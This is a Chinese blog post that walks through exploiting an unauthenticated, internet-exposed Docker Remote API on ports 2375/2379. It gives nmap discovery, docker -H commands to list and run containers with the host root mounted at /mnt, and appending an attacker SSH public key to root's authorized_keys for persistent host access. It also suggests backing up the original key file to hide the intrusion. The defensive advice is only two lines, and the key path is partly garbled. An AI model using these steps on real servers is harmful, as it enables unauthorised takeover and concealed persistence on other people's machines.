2025/6/8
在准备开展第17周交流会时,想着要教些什么,就去网上冲浪,看看有什么好玩的漏洞,Docker remote API未授权漏洞,但是大多数文章都是只交如何控制了Docker之后,但仅仅只能控制了docker。
免责声明: 本文讨论的技术存在潜在法律风险。作者撰写此文目的仅为技术研究与知识分享,不构成任何操作建议。读者基于本文内容进行的任何行为及其后果,均由读者自行承担,作者及发布方不承担任何责任。
本文章已经进行脱敏,已无信息泄露可能。
正文
docker介绍
Docker Remote API未授权访问漏洞
Docker Remote API介绍
Docker Remote API翻译过来的意思就是“docker 远程 Api”,是docker配置文件中自带的一个功能。
这可以使docker容器在进行操作,大部分通常是用于内部网络,可以更快地使公司内部人员,能快速的使用,服务器进行建造主机的需求,从而完成项目。
但在配置的过程中也会出现意外,如:将Docker Remote API => 公网IP 这样就会导致即便不是内部网络也可以对其进行连接和操控。
而大部分这样配置的运维,都会以为Docker会与物理机进行隔离,并且也方便在远程使用网页对docker进行可视化操作,殊不知天下没有百分百的安全。
挨!那就要提到,如果我把服务器所有的远程连接都关闭了(ssh,rsh,vpn等),只允许通过,可视化来对docker进行远程操作。(其实这样也是可以的,但是会有诸多限制,还不如通过内网进行操作,后续预防会讲到)
信息收集部分
大部分Docker Remote API默认映射的端口是2379,2375。
怎么查就不过多介绍,直接跳到怎么确认是否是 Docker Remote API。
如果该服务器的。 Docker Remote API映射到了公网,并使用了默认端口在我们访问的时候

如图,是通过nmap进行端口扫描(nmap -p 2379)
好吧,我懒得去重新开容器来访😅,反正大差不差,总之去访问:2379或2375
不带任何参数访问,将会返回:{“message”:“page not found”} ,而上面通过nmap 扫描后,竟然得到了版本信息
不使用nmap也可以获得版本信息,http://<ip>:<port>/version 方式也可以
剩下的如何找就略过了
漏洞利用
好了,接下来就是重中之重了。🥳🥳🥳(好累不想写了)
环境软件(不多,是台机子有就行)建议不要使用ARM架构的
给系统安装以下:
docker
docker client
什么系统都行,总之想办法安装。
接下来为了方便,我都默认使用2379的端口
1.列出当前所有镜像
docker -H tcp://<ip>:2379 images
2.列出所有容器
docker -H tcp://<ip>:2379 ps -a
3.启动宿主机的镜像,并将该宿主机的根目录挂在早容器的/mnt目录下(启动之后就会获得一个docker 容器shell)
docker -H tcp://<ip>:2379 run -it -v /:/mnt <Image ID> /bin/bash
其实这时候已经100%控制了他的docker了(是的,100%的控制,不是99%)
#查看对方系统,方便后续可以通过容器进行同步提权
cat /etc/os-release
或
cat /etc/issue 
系统是:Debian
由于未授权,属于非法行为,以下只展示提权的其中一种方案(因为SSH可以被及时发现,一连上去两三分钟就被抓到了,所以本文章只教SSH授权登录)
4.提权
这里我只教SSH,文章,不进行概述,在交流会中提到了。
ssh连接
还记得3的操作中为什么要挂/mnt吗?
docker -H tcp://<ip>:2379 run -it -v
/:/mnt<Image ID> /bin/bash
这里我们可以通过挂载,物理机的硬盘对它的SSH公钥进行覆盖编辑(建议先将公钥保存,以便后续恢复原样,可以起到部分隐藏作用)
(1.)先在自己的服务器上进行公钥创建
ssh-keygen -t rsa
输入公钥名
输入密码
复制时注意到最后一个字符,防止复制到空格之类的,粘贴时自动换行
(2.)进入到容器的目录下(/mnt/root)

echo “ 攻击者SSH公钥” >> /mmt/root/authorized_keys这个前提是对方已经开放了ssh端口才可行。
介绍完漏洞利用,接下来介绍防御
开启TLS,使用生成的证书进行认证
设置ACL,只允许信任的IP端口连接对应端口
完🤪
🤫🤫🤫